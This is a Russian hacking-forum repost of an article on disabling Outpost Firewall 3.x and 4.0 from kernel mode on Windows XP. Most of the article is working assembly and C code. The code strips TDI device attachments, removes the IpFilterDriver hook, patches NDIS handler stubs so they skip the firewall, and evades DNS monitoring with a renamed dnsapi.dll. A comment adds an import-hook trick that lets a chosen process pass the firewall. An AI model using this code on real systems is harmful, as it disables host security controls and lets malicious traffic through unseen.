Обход Outpost Firewall 3.x и 4.0 в Kernel mode — HackZona.Ru

Обход Outpost Firewall 3.x и 4.0 в Kernel mode

Обход Outpost Firewall 3.x и 4.0 в Kernel mode

Тип статьи:
Со старой ХакЗоны.
Источник:
Не так давно озаботился вопросом обхода этого файрвола, и друг подкинул такую статью. Думаю, всем на Хакзоне будет интересна эта тема.

Я приведу описание обхода самого распространенного и используемого брандмауэра — Outpost Firewall. Он имеет достаточно гибкие настройки, защиту от внедрения кода (Inject), контроль компонентов, поэтому его обход в ring-3 представляет некоторые сложности: Inject все-таки возможен, но требует написания базонезависимого кода для работы с сетью, и прочий геморрой ;) Я предлагаю переместиться на уровень ниже, в ring-0, где возможно все :) Будут рассмотрены версии 3.x и 4.0. Я затрону только тему обхода Outpost для беспрепятственной работы с сетью, ничего насчет других фич Outpost'а здесь сказано не будет. Предупреждение: приведенный ниже код разрабатывался и тестировался для Windows XP, на остальных версиях не заработает (см. NDIS_PROTOCOL_BLOCK для каждой ОС).

Outpost Firewall, имеет четыре типа защиты на разных уровнях, в ядре:
Перехват на уровне TDI. Перехват обращений к устройствам: DeviceIp, DeviceRawIp, DeviceTcp и DeviceUdp посредством создания и присоединения своего устройства с целью принимать и фильтровать поступающие вызовы к этим устройствам от приложений.
Перехват на уровне IpFilterDriver. Это документированная возможность Windows XP+, предоставляющая услуги фильтрации пакетов в ядре (т.е. не нужно заморачиваться с установкой перехвата на NDIS и TDI).
Перехват на уровне NDIS.
Перехват функций создания/удаления NDIS-протоколов: NdisRegisterProtocol, NdisDeregisterProtocol
Перехват функций открытия/закрытия адаптера: NdisOpenAdapter, NdisCloseAdapter
Достигается за счет правки таблицы экспорта модуля NDIS.SYS и установки своих обработчиков, при вызове которых осуществляется фильтрация.
Перехват обращения к DNSAPI (только в версии 4.0)

Самым сложным в снятии перехвата является перехват на NDIS-уровне. Рассмотрим по порядку:

1) Снятие перехвата на уровне TDI не составит труда тому, кто знаком с объектной архитектурой ядра и умеет успешно манипулировать объектами. Перехват обращений к устройствам DeviceIp, DeviceRawIp, DeviceTcp и DeviceUdp достигается путем создания фиктивного устройства, а затем присоединение его к стеку устройств вызовом IoAttachDevice. При обращении ring3 приложения к сервису TDI, происходит построение IRP-пакета и поочередный вызов по стеку. Первым вызывается сервис Outpost'а, потом остальные. Наша задача проста — исключить устройство фаервола из связного списка устройств стека. Но зная то, что изначально никаких устройств не должно быть присоединено к Ip, Tcp, Udp, RawIp, мы получим указатель на структуру DEVICE_OBJECT устройства и просто обнулим поле AttachedDevice, тем самым уберем все фильтры на TDI. Все! Теперь IRP-пакеты будут идти прямиком к драйверу Tcpip.sys и никуда более. Как это реализуется:
[code]

LOCAL TcpipDrvObj :PDRIVER_OBJECT

...

invoke ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING(«DriverTcpip»), OBJ_CASE_INSENSITIVE, NULL, 0,
IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
test eax, eax
jnz @ret

mov eax, TcpipDrvObj
mov ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject

assume ebx: ptr DEVICE_OBJECT; EBX -> текущее устройство

; Перечисляем все устройства драйвера Tcpip.sys:
; DeviceIp, DeviceRawIp, DeviceTcp, DeviceUdp, DeviceIPMULTICAST

@enum_devices:
and [ebx].AttachedDevice, 0; Перехват снят

mov ebx, [ebx].NextDevice
test ebx, ebx
jnz @enum_devices

assume ebx: nothing

invoke ObDereferenceObject, TcpipDrvObj
[/code]
Outpost никак не проверяет отсутствие его устройства в стеке, поэтому анти-перехват сработал. Таким же образом можно убрать перехват почти любых TDI-Firewall'ов (если конечно они постоянно не проверяют наличие своего устройства в стеке, иначе это будет чуть сложнее).

2) IpFilterDriver является драйвером, который используется встроенным фаерволом Windows. Этот сервис предоставляет возможность просмотра пакетов и их фильтрацию в ядре. Что происходит при инициализации фильтрации с помощью IpFilterDriver в FILTNT.SYS:

a) Загружается драйвер ipfltdrv.sys:
[code]
UNICODE_STRING RegPath;

RtlInitUnicodeString(&RegPath;, L«RegistryMachineSystemCurrentControlSetServicesIpFilterDriver»);
ZwLoadDriver(&RegPath;);
[/code]
b) Получаем указатель на устройство DeviceIpfilterdriver:
[code]
PFILE_OBJECT IpFilterFileObj;
PDEVICE_OBJECT IpFilterDevObj;
UNICODE_STRING DevPath;

RtlInitUnicodeString(&DevPath;, L«DeviceIPFILTERDRIVER»);
IoGetDeviceObjectPointer(&DevPath;, STANDARD_RIGHTS_ALL, &IpFilterFileObj;, &IpFilterDevObj;);
[/code]
c) Создается IRP пакет, который передается драйверу:
[code]
PIRP pIrp;
DWORD InBuff = (DWORD)&FilterProc;

pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff;, 4, 0, 0, 0, 0, 0);
IoCallDriver(IpFilterDevObj, pIrp);
[/code]
Где FilterProc — callback функция, вызывающаяся при приеме/передаче пакетов, и позволяющая пропустить или дропнуть пакет. В DDK сказано, что если передать вместо указателя на функцию NULL, то обработчик удаляется. Outpost также никак не следит за сохранностью своего обработчика, и мы можем беспрепятственно таким же путем удалить его:
[code]
LOCAL IpFilterFileObj :PFILE_OBJECT
LOCAL IpFilterDevObj :PDEVICE_OBJECT
LOCAL InBuff :DWORD

...

invoke IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING(«DeviceIpfilterdriver»),
GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
test eax, eax
jnz @ret

and InBuff, 0

invoke IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
test eax, eax
jz @ret

invoke IoCallDriver, IpFilterDevObj, eax
[/code]
3) Самая сложная и громоздкая часть — это снятие перехвата со всех зарегистрированных NDIS-протоколов в системе (структура NDIS_PROTOCOL_BLOCK), а также их открытых блоков (структура NDIS_OPEN_BLOCK). Структура NDIS_OPEN_BLOCK определена в ndis.h из DDK, но NDIS_PROTOCOL_BLOCK нет. Покопавшись в различных источниках, а также взглянув на эту структуру через отладчик, не трудно догадаться что она скрывает ;) Замечу, что эта структура различна в разных версиях Windows. В системе существует связный список NDIS-протоколов, представляемых структурой NDIS_PROTOCOL_BLOCK, которые экспортируют свои функции-обработчики, которые вызываются при каких-то событиях: например при связывании адаптера и протокола, при принятии и удалении пакета и т.д. Существует неэкспортируемая переменная модуля NDIS.SYS ndisProtocolList, которая указывает на последний зарегистрированный протокол (и первый в списке). Искать ее не имеет смысла, когда существует чуть более громоздкое, но переносимое между версиями ОС решение: мы зарегистрируем пустой протокол, только для того чтобы получить указатель на следующий протокол в цепочке и сразу его удалим. Полученный после регистрации протокола NDIS_HANDLE будет указателем на нашу созданную структуру NDIS_PROTOCOL_BLOCK:
[code]
LOCAL NdisProto :NDIS_PROTOCOL_CHARACTERISTICS
LOCAL NdisStatus :NDIS_STATUS
LOCAL NdisProtoHandle :NDIS_HANDLE

...

lea edi, NdisProto
mov ecx, sizeof NdisProto
xor eax, eax
rep stosb

mov NdisProto.MajorNdisVersion, 4
mov NdisProto.BindAdapterHandler, BindAdapterStub
mov NdisProto.UnbindAdapterHandler, UnbindAdapterStub

; Регистрируем NDIS-протокол для того чтобы получить указатель
; на связный список протоколов

invoke NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
cmp NdisStatus, NDIS_STATUS_SUCCESS
jnz @ret

mov ebx, NdisProtoHandle; EBX -> текущий протокол
assume ebx: ptr NDIS_PROTOCOL_BLOCK
mov ebx, [ebx].Next; Скорее всего указывает на протокол TCPIP_WANARP

invoke NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle
[/code]
Когда система девственно чиста, почти всегда присутствует такой набор протоколов: NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN каждый из них выполняет различные задачи. Например, Outpost создает свой протокол, чтобы вклиниться в список: (VFILT). Еще пример: снифер CommView создает протоколы: TSCOMM и CV2K1. Чтобы поглубже познакомиться с недрами NDIS, используйте программу NdisMonitor. После регистрации/удаления протокола мы имеем указатель на первый протокол в списке (если не запущен снифер, или др. программы, работающие на уровне NDIS, это будет протокол TCPIP_WANARP). Структура NDIS_PROTOCOL_BLOCK содержит указатели на обработчики протокола, которые Outpost перехватывает. Чтобы была возможность поддержки переменного количества протоколов, перехват ставится следующим образом:

Выделяется память

Записываются некоторые данные, характеризующие протокол. Формируется команда call (опкод 0E8h) на обработчик внутри FILTNT.SYS, который содержит следующие инструкции:

Outpost 3.x:
[code]
pop eax
push [eax]; Настоящий обработчик
pushad
push [eax+4]
push [esp+28h]
jmp [eax+8]
[/code]
Outpost 4.0:
[code]
pop eax
add eax, 3
push [eax]; Настоящий обработчик
pushad
push [eax+4]
push [esp+28h]
jmp [eax+8]
[/code]
Вместо настоящего обработчика устанавливается адрес выделенной памяти

В ходе исследования выяснилось, что адрес реального перехваченного обработчика находится в выделенной памяти по смещению +8 (Outpost 4.0) или +5 (Outpost 3.x). Отличить версию 4.0 от 3.x достаточно просто, по инструкции add eax, 3. В каждом протоколе Outpost перехватывает следующие функции:
[code]
OpenAdapterCompleteHandler
SendCompleteHandler
TransferDataCompleteHandler
RequestCompleteHandler
ReceiveHandler
StatusHandler
ReceivePacketHandler
BindAdapterHandler
UnbindAdapterHandler
[/code]
В структуре NDIS_OPEN_BLOCK содержатся указатели на обработчики конкретного адаптера, связанного с протоколом. С каждым протоколом может быть связано несколько адаптеров, открытые блоки которых объединяются в связный список. Указатель на первую структуру NDIS_OPEN_BLOCK содержится в NDIS_PROTOCOL_BLOCK.OpenBlock. Структура NDIS_OPEN_BLOCK создается при вызове NdisOpenAdapter, поэтому Outpost перехватывает эту функцию. В NDIS_OPEN_BLOCK перехватываются следующие обработчики:

Outpost 3.x:
[code]
SendHandler
TransferDataHandler
SendCompleteHandler
TransferDataCompleteHandler
ReceiveHandler
RequestCompleteHandler
ReceivePacketHandler
SendPacketsHandler
StatusHandler
[/code]
Outpost 4.0:
[code]
SendCompleteHandler
TransferDataCompleteHandler
ReceiveHandler
ReceivePacketHandler
StatusHandler
[/code]
Наверное разработчики поняли, что переборщили в 3.х с таким количеством перехватываемых обработчиков, когда достаточно перехватывать всего 5 штук. Теперь цель понятна: обойти все протоколы, в каждом протоколе снять перехват; в каждом протоколе обойти все открытые блоки и тоже снять перехват. Но не все так просто, как было с TDI и IpFilterDriver. Мы не можем просто так заменить обработчики фаера на свои, потому что тот создает поток, который время от времени проходится по всем протоколам и открытым блокам и восстановит перехват. И если Outpost 3.x, обходя список протоколов, натыкался на неперехваченный обработчик (или обработчик, с которого сняли перехват), он тупо брал адрес из структуры и опять ставил перехват, что в свое время обернулось для меня проблемой, то Outpost 4.0 хранит обработчики для каждого протокола, и правильно восстанавливает перехват. Браво! :P Ну а если не трогать указатель на обработчик, и вместо call'а на обработчик Outpost'а, поставить jmp сразу на реальный обработчик, то все будет работать как надо. Outpost не делает проверку на то, изменился ли его перехват. Для снятия перехвата с конкретного обработчика я написал функцию:
[code]
RemoveNdisProcHook proc Handler :PVOID

mov ecx, Handler
jecxz @ret

cmp byte ptr [ecx], 0E8h; В начале должен стоять call
jnz @ret

mov edx, [ecx+1]; Смещение call'а
lea edx, [ecx+edx+5]; EDX указывает на то, куда идет вызов call'а

.if dword ptr [edx] == 03C08358h; В начале стоит: pop eax / add eax, 3 — это Outpost 4.0

mov edx, [ecx+8]

.elseif dword ptr [edx] == 6030FF58h; В начале стоит: pop eax / push [eax] / pushad — это Outpost 3.x

mov edx, [ecx+5]
.else

jmp @ret
.endif

; В EDX адрес реального обработчика

mov byte ptr [ecx], 0E9h; Превратим call в jmp
sub edx, ecx
sub edx, 5
mov [ecx+1], edx; Теперь вместо передачи управления фаеру,
; будет jmp сразу на реальный обработчик

@ret:
ret

RemoveNdisProcHook endp
[/code]
Ну, и, наконец, последнее действо:
[code]
assume ebx: ptr NDIS_PROTOCOL_BLOCK

...

; Перечисляем все зарегистрированные NDIS-протоколы

@enum_protocols:

; Удаляем перехват обработчиков NDIS-протокола

invoke RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
invoke RemoveNdisProcHook, [ebx].SendCompleteHandler
invoke RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
invoke RemoveNdisProcHook, [ebx].RequestCompleteHandler
invoke RemoveNdisProcHook, [ebx].ReceiveHandler
invoke RemoveNdisProcHook, [ebx].StatusHandler
invoke RemoveNdisProcHook, [ebx].ReceivePacketHandler
invoke RemoveNdisProcHook, [ebx].BindAdapterHandler
invoke RemoveNdisProcHook, [ebx].UnbindAdapterHandler


mov esi, [ebx].OpenBlock; ESI -> текущий открытый блок
test esi, esi
jz @next

assume esi: ptr NDIS_OPEN_BLOCK

; Перечисляем все открытые блоки этого протокола

@enum_open_blocks:

; Удаляем перехват обработчиков открытого блока

invoke RemoveNdisProcHook, [esi].SendHandler
invoke RemoveNdisProcHook, [esi].TransferDataHandler
invoke RemoveNdisProcHook, [esi].SendCompleteHandler
invoke RemoveNdisProcHook, [esi].TransferDataCompleteHandler
invoke RemoveNdisProcHook, [esi].ReceiveHandler
invoke RemoveNdisProcHook, [esi].RequestCompleteHandler
invoke RemoveNdisProcHook, [esi].ReceivePacketHandler
invoke RemoveNdisProcHook, [esi].SendPacketsHandler
invoke RemoveNdisProcHook, [esi].StatusHandler


mov esi, [esi].ProtocolNextOpen
test esi, esi
jnz @enum_open_blocks

assume esi: nothing

@next:
mov ebx, [ebx].Next
test ebx, ebx
jnz @enum_protocols

assume ebx: nothing
[/code]
4) Три главных метода фильтрации Outpost'а сняты. Для версий 3.x этого достаточно, но в Outpost версии 4.0 добавилась возможность перехватывать DNS-запросы приложений. Вернее даже не сами запросы — разработчикам ничего умнее в голову не пришло, кроме как отлавливать загрузку модуля DNSAPI.DLL. Это юзермодная DLL, которая выполняет функции преобразования имя->адрес (и наоборот), запроса MX-серверов и много чего другого. Вызов gethostbyname() влечет за собой загрузку этой библиотеки, и появляется окно фаера, в котором «Приложение пытается выполнить DNS-запрос». Чтобы обойти эту фичу, не нужно даже кода ядра. Но придется отказаться от функций gethostbyname(), gethostbyaddr() и других: нужно скопировать библиотеку system32dnsapi.dll куда-нибудь, под другим именем (в этом суть), загрузить ее, получить указатель на функцию DnsQuery_A и произвести DNS-запрос. Outpost никак на это не отреагирует, т.к. он проверяет только имя загружаемого модуля. Логичнее было бы пресекать обращения приложений на 53 порт, а не только ставить хук на загрузку DNSAPI.DLL. Конечно, можно все свалить на бета-версию, но такой неправильный путь «защиты» выбран изначально, и я уверен что эта т.н. «защита» использовалась бы и дальше. Вот как я реализовал «gethostbyname()»:
[code]
typedef DNS_STATUS (WINAPI *DNS_QUERY)(
PCSTR lpstrName,
WORD wType,
DWORD fOptions,
PIP4_ARRAY aipServers,
PDNS_RECORD* ppQueryResultsSet,
PVOID* pReserved
);


typedef void (WINAPI *DNS_RECORD_LIST_FREE)(
PDNS_RECORD pRecordList,
DNS_FREE_TYPE FreeType
);

...

char buf[256], buf2[256];
PDNS_RECORD pRec;
DNS_QUERY pDnsQuery;
DNS_RECORD_LIST_FREE pDnsRecordListFree;
HINSTANCE hLib;


GetTempPath(sizeof(buf), buf);
strcat(buf, «xxxxx.dll»);

GetSystemDirectory(buf2, sizeof(buf2));
strcat(buf2, «dnsapi.dll»);

CopyFile(buf2, buf, FALSE);

if ((hLib = LoadLibrary(buf)) &&
(pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, «DnsQuery_A»)) &&
(pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, «DnsRecordListFree»)))
{
if (!pDnsQuery(«wasm.ru», DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec;, NULL))
{
sprintf(buf, «WASM.RU IP Address: %s», inet_ntoa(*(in_addr*)&pRec-;>Data.A.IpAddress));
MessageBox(0, buf, «Outpost DnsDetour», MB_ICONINFORMATION);

pDnsRecordListFree(pRec, DnsFreeRecordList);
}
else
MessageBox(0, «Can't get WASM.RU IP Address!», «Outpost DnsDetour», MB_ICONINFORMATION);

FreeLibrary(hLib);
}

DeleteFile(buf);
[/code]
Все виды перехвата, используемые Outpost'ом, сняты. Теперь любое приложение, может беспрепятственно работать с сетью. Даже при настройке Outpost'а «Блокировать все соединения».

Моей задачей не было создать универсальное средство для обхода любого рода Firewall'ов (иначе бы начался хаос :P), моей задачей было показать несостоятельность защиты Outpost'а против достаточно простого кода ядра (а также, как оказалось, кривые способы защиты от DNS-ресолвинга в новенькой бета-версии). При создании подключения, Outpost 4.0 в логе будет фиксировать «Неопределенное правило», т.к. сам перехват снят, а список открытых портов и подключений остался. В версиях же 3.x подключение не будет видно вообще. Ну и идеальным решением было бы не простое снятие перехвата, а создание «надстройки» над Firewall'ом, которая бы давала возможность выходить в сеть определенным приложениям, а в другом случае передавала бразды правления Outpost'у + скрытие определенных открытых портов и соединений.

Стоит сказать пару слов о том, что перед снятием хуков, неплохо бы запретить прерывания, APC, DPC, чтобы операция по снятию хуков была неразрывна. В архиве (http://wasm.ru/pub/16/files/outpostk.rar) вы найдете исходник и откомпилированный драйвер, а также пример определения IP по имени в обход Outpost 4.0.

[C] MaD wasm.ru/article.php?article=outpostk

В коментариях к статье нашел ещё один способ:
Нижеприведенный код перебрасывает через оутпост определенный процесс, и при этом куда проще приведенного в статье.
[code]
extern PEPROCESS UserProcess;
static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);

while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;

Import = RVATOVA(Image, ImpDesc->FirstThunk);

while (Import->AddressOfData)
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);

if (Import->Function == (ULONG)Handler)
{
Import->Function = (ULONG)NewHandler;
}

Import++;
}

ImpDesc++;
}
}
}

static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();

if (Process == UserProcess) Process = PsInitialSystemProcess;

return Process;
}


void
InitFwb()
{
PVOID Image = GetModuleHandle(«filtnt.sys»);

if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}
[/code]
Нравится
Не нравится

2 комментария

19:13
Статья отличная и высокопрофессиональная! Однако не является авторской и взята с другого сайта - на главную такие размещать не рекомендуется! ENFIX, в следующий раз публикуй просто в архив статей, на главной не размещай...
02:46
[url=http://www.art-nail.ru]диспорт, в сочетании лимфодренажа тела[/url] и наращивание ногтей